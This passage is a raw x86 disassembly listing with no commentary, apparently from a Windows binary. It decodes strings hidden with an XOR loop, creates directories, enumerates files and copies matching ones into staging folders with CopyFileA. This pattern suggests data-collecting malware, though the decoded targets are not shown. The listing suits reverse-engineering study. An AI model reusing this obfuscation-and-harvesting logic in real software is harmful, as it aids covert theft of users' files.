call fcn.00402b50
push eax
lea ecx, [ebp - 0x19bc]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x4d
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x560], 0xc6
movups xmmword [ebp - 0x55f], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x560], al
inc ecx
cmp ecx, 7
jb 0x454a90
lea eax, [ebp - 0x560]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xd94]
mov byte [ebp - 0x559], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd94]
mov byte [ebp - 4], 0x4e
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xd04]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0xd94]
call fcn.00402a10
lea ecx, [ebp - 0x19bc]
call fcn.00402a10
lea ecx, [ebp - 0xdac]
mov byte [ebp - 4], 0x52
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xd04]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x454bf8
movaps xmm0, xmmword [0x548290]
xor ecx, ecx
mov dword [ebp - 0x1bc], 0xe9eae9db
mov dword [ebp - 0x1b8], 0xfae3f9e4
movups xmmword [ebp - 0x1b4], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1bc], al
inc ecx
cmp ecx, 0xe
jb 0x454b60
lea eax, [ebp - 0x1bc]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xdc4]
mov byte [ebp - 0x1ae], 0
call fcn.00402ab0
lea ecx, [ebp - 0xdc4]
mov byte [ebp - 4], 0x53
call fcn.00402b50
push eax
lea edx, [ebp - 0x914]
lea ecx, [ebp - 0x19d4]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xd04]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x19d4]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0xdc4]
mov byte [ebp - 4], 0x52
call fcn.00402a10
test esi, esi
je 0x454bf8
mov byte [ebp - 0xd], 1
jmp 0x454c0a
push 0
mov dl, 1
lea ecx, [ebp - 0x914]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xd04]
mov byte [ebp - 4], 0x4b
call fcn.00402a10
movaps xmm0, xmmword [0x547a00]
xor ecx, ecx
mov dword [ebp - 0x246], 0xe4fcc4db
mov word [ebp - 0x242], 0xfeea
movups xmmword [ebp - 0x240], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x246], al
inc ecx
cmp ecx, 0xc
jb 0x454c40
lea eax, [ebp - 0x246]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0xddc]
mov byte [ebp - 0x23a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xddc]
mov byte [ebp - 4], 0x54
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x8fc]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xddc]
mov byte [ebp - 4], 0x56
call fcn.00402a10
push 0
lea ecx, [ebp - 0x8fc]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x454efb
movaps xmm0, xmmword [0x5499b0]
xor ecx, ecx
movups xmmword [ebp - 0xa37], xmm0
mov word [ebp - 0xa17], 0xddc8
movaps xmm0, xmmword [0x548cb0]
movups xmmword [ebp - 0xa27], xmm0
mov byte [ebp - 0xa15], 0xc7
movaps xmm0, xmmword [0x547270]
movups xmmword [ebp - 0xa14], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xa37], al
inc ecx
cmp ecx, 0x29
jb 0x454d00
lea eax, [ebp - 0xa37]
mov dword [0x55d5c0], ecx
push eax
lea ecx, [ebp - 0xe0c]
mov byte [ebp - 0xa0e], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe0c]
mov byte [ebp - 4], 0x57
call fcn.00402b50
push eax
lea ecx, [ebp - 0x19ec]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x58
xor ecx, ecx
movaps xmm0, xmmword [0x5471e0]
mov dword [ebp - 0x2b3], 0xd8ccdbd2
mov byte [ebp - 0x2af], 0xdb
movups xmmword [ebp - 0x2ae], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b3], al
inc ecx
cmp ecx, 0xb
jb 0x454d72
lea eax, [ebp - 0x2b3]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0xdf4]
mov byte [ebp - 0x2a8], 0
call fcn.00402ab0
lea ecx, [ebp - 0xdf4]
mov byte [ebp - 4], 0x59
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xb24]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0xdf4]
call fcn.00402a10
lea ecx, [ebp - 0x19ec]
call fcn.00402a10
lea ecx, [ebp - 0xe0c]
mov byte [ebp - 4], 0x5d
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xb24]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x454eda
movaps xmm0, xmmword [0x547a40]
xor ecx, ecx
mov dword [ebp - 0x219], 0xe9eae9db
mov word [ebp - 0x215], 0xf9e4
mov byte [ebp - 0x213], 0xe3
movups xmmword [ebp - 0x212], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x219], al
inc ecx
cmp ecx, 0xd
jb 0x454e42
lea eax, [ebp - 0x219]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0xe24]
mov byte [ebp - 0x20c], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe24]
mov byte [ebp - 4], 0x5e
call fcn.00402b50
push eax
lea edx, [ebp - 0x8fc]
lea ecx, [ebp - 0x1a04]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xb24]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1a04]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0xe24]
mov byte [ebp - 4], 0x5d
call fcn.00402a10
test esi, esi
je 0x454eda
mov byte [ebp - 0xd], 1
jmp 0x454eec
push 0
mov dl, 1
lea ecx, [ebp - 0x8fc]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xb24]
mov byte [ebp - 4], 0x56
call fcn.00402a10
movaps xmm0, xmmword [0x5478e0]
xor ecx, ecx
mov dword [ebp - 0x2c8], 0xfee8cadb
mov byte [ebp - 0x2c4], 0xff
movups xmmword [ebp - 0x2c3], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2c8], al
inc ecx
cmp ecx, 0xb
jb 0x454f20
lea eax, [ebp - 0x2c8]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0xe3c]
mov byte [ebp - 0x2bd], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe3c]
mov byte [ebp - 4], 0x5f
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x8e4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xe3c]
mov byte [ebp - 4], 0x61
call fcn.00402a10
push 0
lea ecx, [ebp - 0x8e4]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x4553c8
movaps xmm0, xmmword [0x5478e0]
xor al, al
mov byte [ebp - 0xf], al
xor ecx, ecx
mov dword [ebp - 0x2dd], 0xfee8cadb
mov byte [ebp - 0x2d9], 0xff
movups xmmword [ebp - 0x2d8], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2dd], al
inc ecx
cmp ecx, 0xb
jb 0x454fc1
lea eax, [ebp - 0x2dd]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0xe6c]
mov byte [ebp - 0x2d2], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe6c]
mov byte [ebp - 4], 0x62
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1a1c]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x63
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x571], 0xc6
movups xmmword [ebp - 0x570], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x571], al
inc ecx
cmp ecx, 7
jb 0x455030
lea eax, [ebp - 0x571]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xe54]
mov byte [ebp - 0x56a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe54]
mov byte [ebp - 4], 0x64
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xee4]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0xe54]
call fcn.00402a10
lea ecx, [ebp - 0x1a1c]
call fcn.00402a10
lea ecx, [ebp - 0xe6c]
mov byte [ebp - 4], 0x68
call fcn.00402a10
sub esp, 0x18
lea eax, [ebp - 0xee4]
mov ecx, esp
push eax
call fcn.00483010
push 1
xor dl, dl
lea ecx, [ebp - 0x5a8]
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 4], 0x69
call fcn.00481cd0
lea ecx, [ebp - 0x5a8]
mov edi, eax
call fcn.00481cc0
mov dword [ebp - 0x14], eax
cmp edi, eax
je 0x455396
mov byte [ebp - 0x1c], 0
nop dword [eax]
push edi
lea ecx, [ebp - 0xc2c]
call fcn.00483010
mov byte [ebp - 4], 0x6a
lea edx, [ebp - 0xc2c]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xecc]
call fcn.0048df50
add esp, 4
lea eax, [ebp - 0x1a34]
mov byte [ebp - 4], 0x6b
push eax
lea ecx, [ebp - 0xecc]
call fcn.00404b60
lea ecx, [ebp - 0x21]
mov byte [ebp - 4], 0x6c
push ecx
lea ecx, [ebp - 0x8cc]
push ecx
mov ecx, eax
call fcn.004868d0
lea ecx, [ebp - 0x1a34]
mov byte [ebp - 4], 0x6e
call fcn.00485430
xorps xmm0, xmm0
mov word [ebp - 0xd6], 0xeae3
movq qword [ebp - 0xd4], xmm0
xor ecx, ecx
mov word [ebp - 0xcc], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 2
jb 0x455181
lea eax, [ebp - 0xd6]
mov dword [0x55d598], ecx
push eax
lea ecx, [ebp - 0xe9c]
mov byte [ebp - 0xd4], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0xe9c]
or ebx, 1
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push 0
push eax
lea ecx, [ebp - 0x8cc]
call fcn.00482af0
cmp eax, 0xffffffff
jne 0x455245
movaps xmm0, xmmword [0x547ca0]
xor ecx, ecx
movups xmmword [ebp - 0x641], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x641], al
inc ecx
cmp ecx, 6
jb 0x4551f0
lea eax, [ebp - 0x641]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0xe84]
mov byte [ebp - 0x63b], 0
call fcn.00402ab0
push 0
lea ecx, [ebp - 0xe84]
or ebx, 2
call fcn.00402b50
push eax
lea ecx, [ebp - 0x8cc]
call fcn.00482af0
mov byte [ebp - 0xe], 0
cmp eax, 0xffffffff
je 0x455249
mov byte [ebp - 0xe], 1
test bl, 2
je 0x45525c
lea ecx, [ebp - 0xe84]
and ebx, 0xfffffffd
call fcn.00402a10
mov dword [ebp - 4], 0x6e
test bl, 1
je 0x455276
lea ecx, [ebp - 0xe9c]
and ebx, 0xfffffffe
call fcn.00402a10
cmp byte [ebp - 0xe], 0
je 0x45535c
xorps xmm0, xmm0
mov byte [ebp - 0xfb], 0xdb
movq qword [ebp - 0xfa], xmm0
xor ecx, ecx
mov word [ebp - 0xf2], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xfb], al
inc ecx
cmp ecx, 1
jb 0x4552a0
lea eax, [ebp - 0xfb]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0xeb4]
mov byte [ebp - 0xfa], 0
call fcn.00402ab0
lea ecx, [ebp - 0xeb4]
mov byte [ebp - 4], 0x70
call fcn.00402b50
push eax
lea edx, [ebp - 0x8e4]
lea ecx, [ebp - 0x1a64]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x8cc]
mov byte [ebp - 4], 0x71
push ecx
mov edx, eax
lea ecx, [ebp - 0x1a4c]
call fcn.00486f40
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xc2c]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1a4c]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x1a64]
call fcn.00402a10
lea ecx, [ebp - 0xeb4]
call fcn.00402a10
test esi, esi
je 0x45535c
mov byte [ebp - 0xf], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x8cc]
call fcn.00402a10
lea ecx, [ebp - 0xecc]
call fcn.00485430
lea ecx, [ebp - 0xc2c]
mov byte [ebp - 4], 0x69
call fcn.00402a10
add edi, 0x18
cmp edi, dword [ebp - 0x14]
jne 0x455100
cmp byte [ebp - 0xf], 0
mov dword [ebp - 0x1c], ebx
jne 0x4553a8
push 0
mov dl, 1
lea ecx, [ebp - 0x8e4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x5a8]
call fcn.00485200
lea ecx, [ebp - 0xee4]
mov byte [ebp - 4], 0x61
call fcn.00402a10
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movaps xmm0, xmmword [0x5474d0]
xor ecx, ecx
movups xmmword [ebp - 0x671], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x671], al
inc ecx
cmp ecx, 6
jb 0x4553e0
lea eax, [ebp - 0x671]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0xefc]
mov byte [ebp - 0x66b], 0
call fcn.00402ab0
lea ecx, [ebp - 0xefc]
mov byte [ebp - 4], 0x72
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x5cc]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xefc]
mov byte [ebp - 4], 0x74
call fcn.00402a10
lea ecx, [ebp - 0x5cc]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x455c80
movaps xmm0, xmmword [0x549680]
xor ecx, ecx
movups xmmword [ebp - 0x631], xmm0
mov byte [ebp - 0xe], 0
movaps xmm0, xmmword [0x547100]
mov dword [ebp - 0x621], 0xa2e1b0b7
mov word [ebp - 0x61d], 0xb5ad
movups xmmword [ebp - 0x61b], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x631], al
inc ecx
cmp ecx, 0x1c
jb 0x455490
lea eax, [ebp - 0x631]
mov dword [0x55d5f4], ecx
push eax
lea ecx, [ebp - 0xf14]
mov byte [ebp - 0x615], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf14]
mov byte [ebp - 4], 0x75
call fcn.00402b50
push eax
lea ecx, [ebp - 0x69c]
call fcn.00402ab0
lea ecx, [ebp - 0xf14]
mov byte [ebp - 4], 0x77
call fcn.00402a10
lea ecx, [ebp - 0x69c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x455593
movaps xmm0, xmmword [0x549680]
xor ecx, ecx
movups xmmword [ebp - 0xa57], xmm0
movaps xmm0, xmmword [0x547f30]
movups xmmword [ebp - 0xa47], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xa57], al
inc ecx
cmp ecx, 0x16
jb 0x455522
lea eax, [ebp - 0xa57]
mov dword [0x55d574], ecx
push eax
lea ecx, [ebp - 0xf2c]
mov byte [ebp - 0xa41], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf2c]
mov byte [ebp - 4], 0x78
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1a7c]
call fcn.00402ab0
push eax
lea ecx, [ebp - 0x69c]
call fcn.00482e90
lea ecx, [ebp - 0x1a7c]
call fcn.00402a10
lea ecx, [ebp - 0xf2c]
mov byte [ebp - 4], 0x77
call fcn.00402a10
lea ecx, [ebp - 0x69c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x455c59
sub esp, 0x18
lea eax, [ebp - 0x69c]
mov ecx, esp
push eax
call fcn.00483010
push 1
xor dl, dl
lea ecx, [ebp - 0x59c]
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0x59c]
mov byte [ebp - 4], 0x79
call fcn.00481cd0
lea ecx, [ebp - 0x59c]
mov edi, eax
call fcn.00481cc0
mov dword [ebp - 0x14], eax
cmp edi, eax
je 0x4557e2
mov byte [ebp - 0x18], 0
mov ebx, eax
nop dword [eax]
push edi
lea ecx, [ebp - 0xc8c]
call fcn.00483010
mov byte [ebp - 4], 0x7a
lea edx, [ebp - 0xc8c]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf74]
call fcn.0048df50
add esp, 4
lea eax, [ebp - 0x16bc]
mov byte [ebp - 4], 0x7b
push eax
lea ecx, [ebp - 0xf74]
call fcn.00404b60
lea ecx, [ebp - 0x22]
mov byte [ebp - 4], 0x7c
push ecx
lea ecx, [ebp - 0xbfc]
push ecx
mov ecx, eax
call fcn.004868d0
lea ecx, [ebp - 0x16bc]
mov byte [ebp - 4], 0x7e
call fcn.00485430
xorps xmm0, xmm0
mov dword [ebp - 0x5b], 0xe4effbf4
movq qword [ebp - 0x57], xmm0
xor ecx, ecx
mov word [ebp - 0x4f], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 4
jb 0x455680
lea eax, [ebp - 0x5b]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0xf44]
mov byte [ebp - 0x57], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf44]
call fcn.00402b50
push 0
push eax
lea ecx, [ebp - 0xbfc]
call fcn.00482af0
lea ecx, [ebp - 0xf44]
mov esi, eax
call fcn.00402a10
cmp esi, 0xffffffff
je 0x4557af
xorps xmm0, xmm0
mov byte [ebp - 0x106], 0xdb
movq qword [ebp - 0x105], xmm0
xor ecx, ecx
mov word [ebp - 0xfd], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x106], al
inc ecx
cmp ecx, 1
jb 0x4556f3
lea eax, [ebp - 0x106]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0xf5c]
mov byte [ebp - 0x105], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf5c]
mov byte [ebp - 4], 0x7f
call fcn.00402b50
push eax
lea edx, [ebp - 0x5cc]
lea ecx, [ebp - 0x16ec]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xbfc]
mov byte [ebp - 4], 0x80
push ecx
mov edx, eax
lea ecx, [ebp - 0x16d4]
call fcn.00486f40
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xc8c]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x16d4]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x16ec]
call fcn.00402a10
lea ecx, [ebp - 0xf5c]
call fcn.00402a10
test esi, esi
je 0x4557af
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0xbfc]
call fcn.00402a10
lea ecx, [ebp - 0xf74]
call fcn.00485430
lea ecx, [ebp - 0xc8c]
mov byte [ebp - 4], 0x79
call fcn.00402a10
add edi, 0x18
cmp edi, ebx
jne 0x455600
mov ebx, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x547bc0]
xor ecx, ecx
mov byte [ebp - 0x43f], 0xdb
movups xmmword [ebp - 0x43e], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x43f], al
inc ecx
cmp ecx, 7
jb 0x455800
lea eax, [ebp - 0x43f]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xf8c]
mov byte [ebp - 0x438], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf8c]
mov byte [ebp - 4], 0x81
call fcn.00402b50
push eax
lea edx, [ebp - 0x69c]
lea ecx, [ebp - 0xb3c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xf8c]
mov byte [ebp - 4], 0x83
call fcn.00402a10
lea ecx, [ebp - 0xb3c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x45590c
movaps xmm0, xmmword [0x547bc0]
xor ecx, ecx
mov byte [ebp - 0x450], 0xdb
movups xmmword [ebp - 0x44f], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x450], al
inc ecx
cmp ecx, 7
jb 0x455894
lea eax, [ebp - 0x450]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xfa4]
mov byte [ebp - 0x449], 0
call fcn.00402ab0
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0xfa4]
or ebx, 4
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push eax
lea edx, [ebp - 0x5cc]
lea ecx, [ebp - 0x1704]
call fcn.00486d20
add esp, 4
or ebx, 8
mov ecx, eax
mov dword [ebp - 0x1c], ebx
push 0
call fcn.00402b50
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x455910
mov byte [ebp - 0xf], 0
test bl, 8
je 0x455926
and ebx, 0xfffffff7
lea ecx, [ebp - 0x1704]
mov dword [ebp - 0x1c], ebx
call fcn.00402a10
mov dword [ebp - 4], 0x83
test bl, 4
je 0x455943
and ebx, 0xfffffffb
lea ecx, [ebp - 0xfa4]
mov dword [ebp - 0x1c], ebx
call fcn.00402a10
cmp byte [ebp - 0xf], 0
je 0x455a06
movaps xmm0, xmmword [0x547bc0]
xor ecx, ecx
mov byte [ebp - 0x461], 0xdb
movups xmmword [ebp - 0x460], xmm0
mov byte [ebp - 0xf], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x461], al
inc ecx
cmp ecx, 7
jb 0x455970
lea eax, [ebp - 0x461]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xfbc]
mov byte [ebp - 0x45a], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x5cc]
mov ecx, esi
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0x86
lea eax, [ebp - 0xb3c]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0xf]
mov byte [ebp - 4], 0x85
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0xfbc]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x455a06
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0xf0]
call fcn.004533e0
mov byte [ebp - 4], 0x87
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xec]
sub ecx, dword [ebp - 0xf0]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x455c2e
movaps xmm0, xmmword [0x5473b0]
xor ecx, ecx
mov dword [ebp - 0x1a4], 0xd5f0eddb
mov dword [ebp - 0x1a0], 0xebe6e3ff
movups xmmword [ebp - 0x19c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1a4], al
inc ecx
cmp ecx, 0xe
jb 0x455a60
lea eax, [ebp - 0x1a4]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xfd4]
mov byte [ebp - 0x196], 0
call fcn.00402ab0
lea ecx, [ebp - 0xfd4]
mov byte [ebp - 4], 0x88
call fcn.00402b50
push eax
lea edx, [ebp - 0x5cc]
lea ecx, [ebp - 0x101c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xfd4]
mov byte [ebp - 4], 0x8a
call fcn.00402a10
xorps xmm0, xmm0
mov word [ebp - 0xe2], 0xeaf0
movq qword [ebp - 0xe0], xmm0
xor ecx, ecx
mov word [ebp - 0xd8], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xe2], al
inc ecx
cmp ecx, 2
jb 0x455ae2
lea eax, [ebp - 0xe2]
mov dword [0x55d598], ecx
push eax
lea ecx, [ebp - 0xfec]
mov byte [ebp - 0xe0], 0
call fcn.00402ab0
lea ecx, [ebp - 0xfec]
call fcn.00402b50
lea ecx, [ebp - 0x101c]
mov esi, eax
call fcn.00402b50
push esi
push eax
call fcn.00500f40
add esp, 8
lea ecx, [ebp - 0xfec]
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00402a10
test esi, esi
je 0x455c1b
mov ecx, dword [ebp - 0xec]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xf0]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x455c10
xor edi, edi
xor ebx, ebx
lea ecx, [edi + esi]
call fcn.00402b50
movaps xmm0, xmmword [0x546bf0]
mov esi, eax
movups xmmword [ebp - 0x681], xmm0
xor edx, edx
nop
lea ecx, [edx - 0x79]
xor byte [ebp + edx - 0x681], cl
inc edx
cmp edx, 6
jb 0x455b90
lea eax, [ebp - 0x681]
mov dword [0x55d548], edx
push eax
lea ecx, [ebp - 0x1004]
mov byte [ebp - 0x67b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1004]
call fcn.00402b50
push esi
push eax
push dword [ebp - 0x18]
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x1004]
call fcn.00402a10
mov ecx, dword [ebp - 0xec]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xf0]
inc ebx
sub ecx, esi
add edi, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jb 0x455b75
mov ebx, dword [ebp - 0x1c]
push dword [ebp - 0x18]
call fcn.00504958
add esp, 4
lea ecx, [ebp - 0x101c]
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
call fcn.00402a10
lea ecx, [ebp - 0xf0]
call fcn.00485200
lea ecx, [ebp - 0xb3c]
call fcn.00402a10
lea ecx, [ebp - 0x59c]
mov byte [ebp - 4], 0x77
call fcn.00485200
cmp byte [ebp - 0xe], 0
jne 0x455c6b
push 0
mov dl, 1
lea ecx, [ebp - 0x5cc]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x69c]
mov byte [ebp - 4], 0x74
call fcn.00402a10
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [ebp - 0xd], 0
jne 0x455c98
push 0
mov dl, 1
lea ecx, [ebp - 0x30c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x5cc]
call fcn.00402a10
lea ecx, [ebp - 0x8e4]
call fcn.00402a10
lea ecx, [ebp - 0x8fc]
call fcn.00402a10
lea ecx, [ebp - 0x914]
call fcn.00402a10
lea ecx, [ebp - 0x92c]
call fcn.00402a10
lea ecx, [ebp - 0x6b4]
call fcn.00402a10
lea ecx, [ebp - 0x944]
call fcn.00402a10
lea ecx, [ebp - 0x30c]
mov dword [ebp - 4], 0xffffffff
call fcn.00402a10
cmp byte [ebp - 0x10], 0
je 0x457a4e
movaps xmm0, xmmword [0x5475a0]
xor ecx, ecx
mov dword [ebp - 0x2f2], 0xf9ecc5db
mov byte [ebp - 0x2ee], 0xf8
movups xmmword [ebp - 0x2ed], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2f2], al
inc ecx
cmp ecx, 0xb
jb 0x455d22
lea eax, [ebp - 0x2f2]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0x1034]
mov byte [ebp - 0x2e7], 0
call fcn.00402ab0
or ebx, 0x8000000
lea ecx, [ebp - 0x1034]
mov dword [ebp - 4], 0x8b
call fcn.00402b50
push eax
mov edx, 0x55aafc
lea ecx, [ebp - 0x3ec]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1034]
mov byte [ebp - 4], 0x8d
call fcn.00402a10
lea ecx, [ebp - 0x3ec]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x457a3c
movaps xmm0, xmmword [0x547b60]
xor ecx, ecx
mov byte [ebp - 0xd], 0
movups xmmword [ebp - 0x661], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x661], al
inc ecx
cmp ecx, 6
jb 0x455dc0
lea eax, [ebp - 0x661]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0x104c]
mov byte [ebp - 0x65b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x104c]
mov byte [ebp - 4], 0x8e
call fcn.00402b50
push eax
lea edx, [ebp - 0x3ec]
